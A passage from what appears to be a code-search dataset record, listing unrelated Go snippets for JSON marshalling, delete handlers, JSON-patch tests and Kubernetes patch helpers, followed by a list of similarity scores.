string(newDoc), string(expectNewDoc))\\n}\",\n \"func (w *PropertyWrite) remove(q *msg.Request, mr *msg.Result) {\\n\\tswitch q.Property.Type {\\n\\tcase `custom`:\\n\\t\\tw.removeCustom(q, mr)\\n\\tcase `native`:\\n\\t\\tw.removeNative(q, mr)\\n\\tcase `service`, `template`:\\n\\t\\tw.removeService(q, mr)\\n\\tcase `system`:\\n\\t\\tw.removeSystem(q, mr)\\n\\tdefault:\\n\\t\\tmr.NotImplemented(fmt.Errorf(\\\"Unknown property type: %s\\\",\\n\\t\\t\\tq.Property.Type))\\n\\t}\\n}\",\n \"func (v *RemoveSymbolFromWatchlistRequest) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (s *RemoveDeviceValidator) BindJSON(c *gin.Context) error {\\n\\tb := binding.Default(c.Request.Method, c.ContentType())\\n\\n\\terr := c.ShouldBindWith(s, b)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tpbo.Kind = KindPropertyBatchOperation\\n\\tobjectMap := make(map[string]interface{})\\n\\tif pbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = pbo.PropertyName\\n\\t}\\n\\tif pbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = pbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func Test_jsonpatch_Add_Remove_for_array(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\t// 1. Create array\\n\\torigDoc := []byte(`{\\\"root\\\":{}}`)\\n\\n\\tpatch1, _ := jsonpatch.DecodePatch([]byte(`\\n[{\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array\\\", \\\"value\\\":[]}]\\n`))\\n\\n\\texpectNewDoc := []byte(`{\\\"root\\\":{\\\"array\\\":[]}}`)\\n\\n\\tnewDoc, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch 1 apply\\\")\\n\\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n\\n\\t// 2. Add last element.\\n\\torigDoc = newDoc\\n\\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\\n[{\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array/-\\\", \\\"value\\\":\\\"azaza\\\"}]\\n`))\\n\\n\\texpectNewDoc = []byte(`{\\\"root\\\":{\\\"array\\\":[\\\"azaza\\\"]}}`)\\n\\n\\tnewDoc, err = patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch 2 apply\\\")\\n\\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n\\n\\t// 3. Add more elements.\\n\\torigDoc = newDoc\\n\\n\\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\\n[ {\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array/-\\\", \\\"value\\\":\\\"ololo\\\"},\\n {\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array/-\\\", \\\"value\\\":\\\"foobar\\\"},\\n {\\\"op\\\":\\\"add\\\", \\\"path\\\":\\\"/root/array/-\\\", \\\"value\\\":\\\"baz\\\"}\\n]\\n`))\\n\\n\\texpectNewDoc = []byte(`{\\\"root\\\":{\\\"array\\\":[\\\"azaza\\\", \\\"ololo\\\", \\\"foobar\\\", \\\"baz\\\"]}}`)\\n\\n\\tnewDoc, err = patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch 3 apply\\\")\\n\\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n\\n\\t// 4. Remove elements in the middle.\\n\\torigDoc = newDoc[:]\\n\\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\\n[ {\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/root/array/1\\\"},\\n {\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/root/array/2\\\"}\\n]\\n`))\\n\\n\\t// Operations in patch are not atomic, so after removing index 1, index 2 become 1.\\n\\t// \\\"remove 1, remove 2\\\" actually do: \\\"remove 1, remove 3\\\"\\n\\n\\t// wrong expectation...\\n\\t// expectNewDoc = []byte(`{\\\"root\\\":{\\\"array\\\":[\\\"azaza\\\", \\\"baz\\\"]}}`)\\n\\t// Actual result\\n\\texpectNewDoc = []byte(`{\\\"root\\\":{\\\"array\\\":[\\\"azaza\\\", \\\"foobar\\\"]}}`)\\n\\n\\tnewDoc, err = patch1.Apply(origDoc)\\n\\tg.Expect(err).ShouldNot(HaveOccurred(), \\\"patch 4 apply\\\")\\n\\n\\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \\\"%v is not equal to %v\\\", string(newDoc), string(expectNewDoc))\\n}\",\n \"func Delete(jsonMap map[string]string, deleteMap map[string]string) (newMap map[string]string, err error) {\\n\\ts := make(map[string]string)\\n\\ts = jsonMap\\n\\tfor key := range deleteMap {\\n\\t\\tif jsonMap[key] != \\\"\\\" {\\n\\t\\t\\tif strings.Contains(deleteMap[key], \\\"json:array\\\") {\\n\\t\\t\\t\\terr = errors.New(\\\"invalid value to delete: json:array\\\")\\n\\t\\t\\t\\treturn jsonMap, err\\n\\t\\t\\t} else if strings.Contains(deleteMap[key], \\\"json:object\\\") {\\n\\t\\t\\t\\terr = errors.New(\\\"invalid value to delete: json:object\\\")\\n\\t\\t\\t\\treturn jsonMap, err\\n\\t\\t\\t}\\n\\t\\t\\tdeleteArray := strings.Split(strings.Trim(deleteMap[key], `\\\"`), \\\" \\\")\\n\\t\\t\\tfor i := 0; i < len(deleteArray); i++ {\\n\\t\\t\\t\\ts[key] = strings.Replace(s[key], \\\" \\\"+deleteArray[i], \\\"\\\", 1)\\n\\t\\t\\t\\tswitch s[key] {\\n\\t\\t\\t\\tcase \\\"json:array\\\":\\n\\t\\t\\t\\t\\ts[key] = \\\"[]\\\"\\n\\t\\t\\t\\tcase \\\"json:object\\\":\\n\\t\\t\\t\\t\\ts[key] = \\\"{}\\\"\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn s, nil\\n}\",\n \"func encodeDeletePostResponse(ctx context.Context, w http.ResponseWriter, response interface{}) (err error) {\\n\\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\\n\\t\\tErrorEncoder(ctx, f.Failed(), w)\\n\\t\\treturn nil\\n\\t}\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=utf-8\\\")\\n\\terr = json.NewEncoder(w).Encode(response)\\n\\tif err != nil {\\n\\t\\t\\tlogrus.Warn(err.Error())\\n\\t\\t}\\n\\treturn\\n}\",\n \"func (t *RestControllerDescriptor) Remove() *ggt.MethodDescriptor { return t.methodRemove }\",\n \"func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcspbo.Kind = KindCheckSequence\\n\\tobjectMap := make(map[string]interface{})\\n\\tif cspbo.SequenceNumber != nil {\\n\\t\\tobjectMap[\\\"SequenceNumber\\\"] = cspbo.SequenceNumber\\n\\t}\\n\\tif cspbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cspbo.PropertyName\\n\\t}\\n\\tif cspbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cspbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (j Json) Deletes(path string) Json {\\n\\tif s, err := sjson.Delete(string(j), path); err == nil {\\n\\t\\treturn Json(s)\\n\\t}\\n\\treturn j\\n}\",\n \"func patchRemoveFinalizers(namespace, name string) clientgotesting.PatchActionImpl {\\n\\taction := clientgotesting.PatchActionImpl{}\\n\\taction.Name = name\\n\\taction.Namespace = namespace\\n\\tpatch := `{\\\"metadata\\\":{\\\"finalizers\\\":[],\\\"resourceVersion\\\":\\\"\\\"}}`\\n\\taction.Patch = []byte(patch)\\n\\treturn action\\n}\",\n \"func (v EventApplicationPermissionDelete) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk16(w, v)\\n}\",\n \"func (v Quit) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson42239ddeEncodeGithubComKhliengDispatchServer11(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func Delete(w http.ResponseWriter, r *http.Request) {\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tparams := mux.Vars(r)\\n\\tfor i, elem := range schema {\\n\\t\\tif elem.Config.Name == params[\\\"name\\\"] {\\n\\t\\t\\tschema = append(schema[:i], schema[i+1:]...)\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tjson.NewEncoder(w).Encode(schema)\\n}\",\n \"func (j *ProposalUpdateOperation) MarshalJSONBuf(buf fflib.EncodingBuffer) error {\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn nil\\n\\t}\\n\\tvar err error\\n\\tvar obj []byte\\n\\t_ = obj\\n\\t_ = err\\n\\tbuf.WriteString(`{ \\\"active_approvals_to_add\\\":`)\\n\\tif j.ActiveApprovalsToAdd != nil {\\n\\t\\tbuf.WriteString(`[`)\\n\\t\\tfor i, v := range j.ActiveApprovalsToAdd {\\n\\t\\t\\tif i != 0 {\\n\\t\\t\\t\\tbuf.WriteString(`,`)\\n\\t\\t\\t}\\n\\n\\t\\t\\t{\\n\\n\\t\\t\\t\\tobj, err = v.MarshalJSON()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbuf.Write(obj)\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tbuf.WriteString(`]`)\\n\\t} else {\\n\\t\\tbuf.WriteString(`null`)\\n\\t}\\n\\tbuf.WriteString(`,\\\"active_approvals_to_remove\\\":`)\\n\\tif j.ActiveApprovalsToRemove != nil {\\n\\t\\tbuf.WriteString(`[`)\\n\\t\\tfor i, v := range j.ActiveApprovalsToRemove {\\n\\t\\t\\tif i != 0 {\\n\\t\\t\\t\\tbuf.WriteString(`,`)\\n\\t\\t\\t}\\n\\n\\t\\t\\t{\\n\\n\\t\\t\\t\\tobj, err = v.MarshalJSON()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbuf.Write(obj)\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tbuf.WriteString(`]`)\\n\\t} else {\\n\\t\\tbuf.WriteString(`null`)\\n\\t}\\n\\tbuf.WriteString(`,\\\"owner_approvals_to_add\\\":`)\\n\\tif j.OwnerApprovalsToAdd != nil {\\n\\t\\tbuf.WriteString(`[`)\\n\\t\\tfor i, v := range j.OwnerApprovalsToAdd {\\n\\t\\t\\tif i != 0 {\\n\\t\\t\\t\\tbuf.WriteString(`,`)\\n\\t\\t\\t}\\n\\n\\t\\t\\t{\\n\\n\\t\\t\\t\\tobj, err = v.MarshalJSON()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbuf.Write(obj)\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tbuf.WriteString(`]`)\\n\\t} else {\\n\\t\\tbuf.WriteString(`null`)\\n\\t}\\n\\tbuf.WriteString(`,\\\"owner_approvals_to_remove\\\":`)\\n\\tif j.OwnerApprovalsToRemove != nil {\\n\\t\\tbuf.WriteString(`[`)\\n\\t\\tfor i, v := range j.OwnerApprovalsToRemove {\\n\\t\\t\\tif i != 0 {\\n\\t\\t\\t\\tbuf.WriteString(`,`)\\n\\t\\t\\t}\\n\\n\\t\\t\\t{\\n\\n\\t\\t\\t\\tobj, err = v.MarshalJSON()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbuf.Write(obj)\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tbuf.WriteString(`]`)\\n\\t} else {\\n\\t\\tbuf.WriteString(`null`)\\n\\t}\\n\\tbuf.WriteString(`,\\\"extensions\\\":`)\\n\\n\\t{\\n\\n\\t\\tobj, err = j.Extensions.MarshalJSON()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tbuf.Write(obj)\\n\\n\\t}\\n\\tbuf.WriteString(`,\\\"fee_paying_account\\\":`)\\n\\n\\t{\\n\\n\\t\\tobj, err = j.FeePayingAccount.MarshalJSON()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tbuf.Write(obj)\\n\\n\\t}\\n\\tbuf.WriteString(`,\\\"key_approvals_to_add\\\":`)\\n\\tif j.KeyApprovalsToAdd != nil {\\n\\t\\tbuf.WriteString(`[`)\\n\\t\\tfor i, v := range j.KeyApprovalsToAdd {\\n\\t\\t\\tif i != 0 {\\n\\t\\t\\t\\tbuf.WriteString(`,`)\\n\\t\\t\\t}\\n\\n\\t\\t\\t{\\n\\n\\t\\t\\t\\tobj, err = v.MarshalJSON()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbuf.Write(obj)\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tbuf.WriteString(`]`)\\n\\t} else {\\n\\t\\tbuf.WriteString(`null`)\\n\\t}\\n\\tbuf.WriteString(`,\\\"key_approvals_to_remove\\\":`)\\n\\tif j.KeyApprovalsToRemove != nil {\\n\\t\\tbuf.WriteString(`[`)\\n\\t\\tfor i, v := range j.KeyApprovalsToRemove {\\n\\t\\t\\tif i != 0 {\\n\\t\\t\\t\\tbuf.WriteString(`,`)\\n\\t\\t\\t}\\n\\n\\t\\t\\t{\\n\\n\\t\\t\\t\\tobj, err = v.MarshalJSON()\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbuf.Write(obj)\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tbuf.WriteString(`]`)\\n\\t} else {\\n\\t\\tbuf.WriteString(`null`)\\n\\t}\\n\\tbuf.WriteString(`,\\\"proposal\\\":`)\\n\\n\\t{\\n\\n\\t\\tobj, err = j.Proposal.MarshalJSON()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tbuf.Write(obj)\\n\\n\\t}\\n\\tbuf.WriteByte(',')\\n\\tif j.Fee != nil {\\n\\t\\tif true {\\n\\t\\t\\t/* Struct fall back. type=types.AssetAmount kind=struct */\\n\\t\\t\\tbuf.WriteString(`\\\"fee\\\":`)\\n\\t\\t\\terr = buf.Encode(j.Fee)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tbuf.WriteByte(',')\\n\\t\\t}\\n\\t}\\n\\tbuf.Rewind(1)\\n\\tbuf.WriteByte('}')\\n\\treturn nil\\n}\",\n \"func (r *ExtensionPropertyRequest) Delete(ctx context.Context) error {\\n\\treturn r.JSONRequest(ctx, \\\"DELETE\\\", \\\"\\\", nil, nil)\\n}\",\n \"func (v RemoveScriptToEvaluateOnNewDocumentParams) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage23(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (r *SingleValueLegacyExtendedPropertyRequest) Delete(ctx context.Context) error {\\n\\treturn r.JSONRequest(ctx, \\\"DELETE\\\", \\\"\\\", nil, nil)\\n}\",\n \"func (j *ProposalUpdateOperation) MarshalJSON() ([]byte, error) {\\n\\tvar buf fflib.Buffer\\n\\tif j == nil {\\n\\t\\tbuf.WriteString(\\\"null\\\")\\n\\t\\treturn buf.Bytes(), nil\\n\\t}\\n\\terr := j.MarshalJSONBuf(&buf)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn buf.Bytes(), nil\\n}\",\n \"func encodeDeleteTagResponse(ctx context.Context, w http.ResponseWriter, response interface{}) (err error) {\\n\\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\\n\\t\\tErrorEncoder(ctx, f.Failed(), w)\\n\\t\\treturn nil\\n\\t}\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=utf-8\\\")\\n\\terr = json.NewEncoder(w).Encode(response)\\n\\tif err != nil {\\n\\t\\t\\tlogrus.Warn(err.Error())\\n\\t\\t}\\n\\treturn\\n}\",\n \"func (op OpRemove) MarshalYAML() (interface{}, error) {\\n\\treturn op.Field.String(), nil\\n}\",\n \"func NewJSONItemRemover(removedPath []string) JSONItemRemover {\\n\\tremovedDataIndex1 := make(map[int]bool)\\n\\tremovedPath1 := make(map[string]bool)\\n\\tvar rmCount int\\n\\tif removedPath != nil {\\n\\t\\trmCount = len(removedPath)\\n\\t\\tfor _, val := range removedPath {\\n\\t\\t\\tremovedPath1[val] = true\\n\\n\\t\\t}\\n\\t}\\n\\treturn containerJSONItemRemover{removedDataIndex: removedDataIndex1, removedPath: removedPath1, removedPathCount: rmCount}\\n}\",\n \"func (crrfse ChaosRemoveReplicaFaultScheduledEvent) MarshalJSON() ([]byte, error) {\\n\\tcrrfse.Kind = KindChaosRemoveReplicaFaultScheduled\\n\\tobjectMap := make(map[string]interface{})\\n\\tif crrfse.FaultGroupID != nil {\\n\\t\\tobjectMap[\\\"FaultGroupId\\\"] = crrfse.FaultGroupID\\n\\t}\\n\\tif crrfse.FaultID != nil {\\n\\t\\tobjectMap[\\\"FaultId\\\"] = crrfse.FaultID\\n\\t}\\n\\tif crrfse.ServiceURI != nil {\\n\\t\\tobjectMap[\\\"ServiceUri\\\"] = crrfse.ServiceURI\\n\\t}\\n\\tif crrfse.PartitionID != nil {\\n\\t\\tobjectMap[\\\"PartitionId\\\"] = crrfse.PartitionID\\n\\t}\\n\\tif crrfse.ReplicaID != nil {\\n\\t\\tobjectMap[\\\"ReplicaId\\\"] = crrfse.ReplicaID\\n\\t}\\n\\tif crrfse.EventInstanceID != nil {\\n\\t\\tobjectMap[\\\"EventInstanceId\\\"] = crrfse.EventInstanceID\\n\\t}\\n\\tif crrfse.TimeStamp != nil {\\n\\t\\tobjectMap[\\\"TimeStamp\\\"] = crrfse.TimeStamp\\n\\t}\\n\\tif crrfse.HasCorrelatedEvents != nil {\\n\\t\\tobjectMap[\\\"HasCorrelatedEvents\\\"] = crrfse.HasCorrelatedEvents\\n\\t}\\n\\tif crrfse.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = crrfse.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func deleteObject(w http.ResponseWriter, r *http.Request) {\\n\\tvars := mux.Vars(r)\\n\\tkey, _ := strconv.Atoi(vars[\\\"id\\\"])\\n\\tfound := false\\n\\tlocation := 0\\n\\n\\tfor index := range listOfObjects {\\n\\t\\tif listOfObjects[index].ID == key {\\n\\t\\t\\tfound = true\\n\\t\\t\\tlocation = index\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\tif found == true {\\n\\t\\tlistOfObjects = append(listOfObjects[:location], listOfObjects[location+1:]...)\\n\\t\\terr := json.NewEncoder(w).Encode(\\\"Removed\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\t\\tlog.Fatal(\\\"Error encoding JSON\\\")\\n\\t\\t}\\n\\t} else {\\n\\t\\tw.WriteHeader(http.StatusNotFound)\\n\\t\\terr := json.NewEncoder(w).Encode(\\\"Could not find object\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\t\\tlog.Fatal(\\\"Error encoding JSON\\\")\\n\\t\\t}\\n\\t}\\n}\",\n \"func (u UpdateOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(u.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(u.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\tcase u.Row == nil:\\n\\t\\treturn nil, errors.New(\\\"Row field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range u.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t\\tRow Row `json:\\\"row\\\"`\\n\\t}{\\n\\t\\tOp: u.Op(),\\n\\t\\tTable: u.Table,\\n\\t\\tWhere: u.Where,\\n\\t\\tRow: u.Row,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (this *RouteController) AjaxRemove() {\\n\\tdata := JsonData{}\\n\\n\\tif this.isPost() {\\n\\t\\troute := strings.TrimSpace(this.GetString(\\\"route\\\"))\\n\\n\\t\\trouteModel := models.Route{}\\n\\t\\trouteModel.FindByUrl(route)\\n\\n\\t\\tif isDelete, _ := routeModel.Delete(); isDelete {\\n\\t\\t\\tdata.Code = 200\\n\\t\\t\\tdata.Message = \\\"删除成功\\\"\\n\\t\\t} else {\\n\\t\\t\\tdata.Code = 400\\n\\t\\t\\tdata.Message = \\\"删除成功\\\"\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tdata.Code = 400\\n\\t\\tdata.Message = \\\"非法请求\\\"\\n\\t}\\n\\n\\tthis.ShowJSON(&data)\\n}\",\n \"func (v RemoveScriptToEvaluateOnNewDocumentParams) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjsonC5a4559bEncodeGithubComChromedpCdprotoPage23(w, v)\\n}\",\n \"func (b BastionSessionDeleteResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", b.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", b.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (obj CartAddCustomShippingMethodAction) MarshalJSON() ([]byte, error) {\\n\\ttype Alias CartAddCustomShippingMethodAction\\n\\tdata, err := json.Marshal(struct {\\n\\t\\tAction string `json:\\\"action\\\"`\\n\\t\\t*Alias\\n\\t}{Action: \\\"addCustomShippingMethod\\\", Alias: (*Alias)(&obj)})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\traw := make(map[string]interface{})\\n\\tif err := json.Unmarshal(data, &raw); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif raw[\\\"deliveries\\\"] == nil {\\n\\t\\tdelete(raw, \\\"deliveries\\\")\\n\\t}\\n\\n\\treturn json.Marshal(raw)\\n\\n}\",\n \"func (arinpsm AddRemoveIncrementalNamedPartitionScalingMechanism) MarshalJSON() ([]byte, error) {\\n\\tarinpsm.Kind = KindAddRemoveIncrementalNamedPartition\\n\\tobjectMap := make(map[string]interface{})\\n\\tif arinpsm.MinPartitionCount != nil {\\n\\t\\tobjectMap[\\\"MinPartitionCount\\\"] = arinpsm.MinPartitionCount\\n\\t}\\n\\tif arinpsm.MaxPartitionCount != nil {\\n\\t\\tobjectMap[\\\"MaxPartitionCount\\\"] = arinpsm.MaxPartitionCount\\n\\t}\\n\\tif arinpsm.ScaleIncrement != nil {\\n\\t\\tobjectMap[\\\"ScaleIncrement\\\"] = arinpsm.ScaleIncrement\\n\\t}\\n\\tif arinpsm.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = arinpsm.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (v EventApplicationRepositoryDelete) MarshalEasyJSON(w *jwriter.Writer) {\\n\\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk8(w, v)\\n}\",\n \"func (o DeleteSharedDashboardResponse) MarshalJSON() ([]byte, error) {\\n\\ttoSerialize := map[string]interface{}{}\\n\\tif o.UnparsedObject != nil {\\n\\t\\treturn json.Marshal(o.UnparsedObject)\\n\\t}\\n\\tif o.DeletedPublicDashboardToken != nil {\\n\\t\\ttoSerialize[\\\"deleted_public_dashboard_token\\\"] = o.DeletedPublicDashboardToken\\n\\t}\\n\\n\\tfor key, value := range o.AdditionalProperties {\\n\\t\\ttoSerialize[key] = value\\n\\t}\\n\\treturn json.Marshal(toSerialize)\\n}\",\n \"func deleteRegistry(w http.ResponseWriter, req *http.Request) {\\n\\tvar sStore SpecificStore\\n\\t_ = json.NewDecoder(req.Body).Decode(&sStore)\\n\\n\\tif len(array) == 0 {\\n\\t\\tfmt.Println(\\\"$$$Primero debe llenar el arreglo con informacion\\\")\\n\\t\\tjson.NewEncoder(w).Encode(\\\"Primero debe llenar el arreglo con informacion\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tfmt.Println(\\\"$$$Buscando tienda con los parametros especificados\\\")\\n\\tfor i := 0; i < len(array); i++ {\\n\\t\\tif array[i].Department == sStore.Departament && array[i].Rating == sStore.Rating {\\n\\t\\t\\tfor j := 0; j < array[i].List.lenght; j++ {\\n\\t\\t\\t\\ttempNode, _ := array[i].List.GetNodeAt(j)\\n\\t\\t\\t\\ttempName := tempNode.data.Name\\n\\t\\t\\t\\tif tempName == sStore.Name {\\n\\t\\t\\t\\t\\tarray[i].List.DeleteNode(j)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tprintArray(array)\\n\\n}\",\n \"func (r TestPrefixDrop) MarshalJSON() ([]byte, error) {\\n\\ts, err := r.getString()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn json.Marshal(s)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.64192116","0.613095","0.6085701","0.60319763","0.60085","0.6003504","0.6002985","0.59967583","0.59633255","0.5949001","0.5914551","0.59112257","0.5857894","0.58396065","0.5743186","0.5739464","0.5686652","0.5678679","0.5666193","0.5659155","0.560484","0.5593519","0.558779","0.5512871","0.55123734","0.53905034","0.5384362","0.53585166","0.5341794","0.5337432","0.5303841","0.52994114","0.5297704","0.5286325","0.52740633","0.52570915","0.524348","0.5242803","0.5236773","0.5235403","0.5235403","0.5215026","0.520653","0.5204253","0.52023345","0.51897085","0.5176272","0.51271194","0.5123147","0.51229715","0.511197","0.50986576","0.50967836","0.5091463","0.5076334","0.50746846","0.507275","0.50538784","0.50485253","0.50292397","0.50285065","0.5027386","0.5024921","0.50229937","0.50087106","0.5004537","0.49983853","0.4996202","0.4988153","0.49850798","0.49813676","0.49807504","0.49778056","0.49763227","0.49729252","0.4968406","0.496839","0.49624172","0.49571788","0.49564162","0.4951848","0.49479058","0.49440834","0.49440187","0.49336782","0.4929491","0.49167794","0.4916577","0.49158177","0.49085957","0.49064368","0.4905083","0.48999256","0.4899721","0.48939866","0.48930913","0.48916918","0.48729387","0.48674053","0.4858956"],"string":"[\n \"0.64192116\",\n \"0.613095\",\n \"0.6085701\",\n \"0.60319763\",\n \"0.60085\",\n \"0.6003504\",\n \"0.6002985\",\n \"0.59967583\",\n \"0.59633255\",\n \"0.5949001\",\n \"0.5914551\",\n \"0.59112257\",\n \"0.5857894\",\n \"0.58396065\",\n \"0.5743186\",\n \"0.5739464\",\n \"0.5686652\",\n \"0.5678679\",\n \"0.5666193\",\n \"0.5659155\",\n \"0.560484\",\n \"0.5593519\",\n \"0.558779\",\n \"0.5512871\",\n \"0.55123734\",\n \"0.53905034\",\n \"0.5384362\",\n \"0.53585166\",\n \"0.5341794\",\n \"0.5337432\",\n \"0.5303841\",\n \"0.52994114\",\n \"0.5297704\",\n \"0.5286325\",\n \"0.52740633\",\n \"0.52570915\",\n \"0.524348\",\n \"0.5242803\",\n \"0.5236773\",\n \"0.5235403\",\n \"0.5235403\",\n \"0.5215026\",\n \"0.520653\",\n \"0.5204253\",\n \"0.52023345\",\n \"0.51897085\",\n \"0.5176272\",\n \"0.51271194\",\n \"0.5123147\",\n \"0.51229715\",\n \"0.511197\",\n \"0.50986576\",\n \"0.50967836\",\n \"0.5091463\",\n \"0.5076334\",\n \"0.50746846\",\n \"0.507275\",\n \"0.50538784\",\n \"0.50485253\",\n \"0.50292397\",\n \"0.50285065\",\n \"0.5027386\",\n \"0.5024921\",\n \"0.50229937\",\n \"0.50087106\",\n \"0.5004537\",\n \"0.49983853\",\n \"0.4996202\",\n \"0.4988153\",\n \"0.49850798\",\n \"0.49813676\",\n \"0.49807504\",\n \"0.49778056\",\n \"0.49763227\",\n \"0.49729252\",\n \"0.4968406\",\n \"0.496839\",\n \"0.49624172\",\n \"0.49571788\",\n 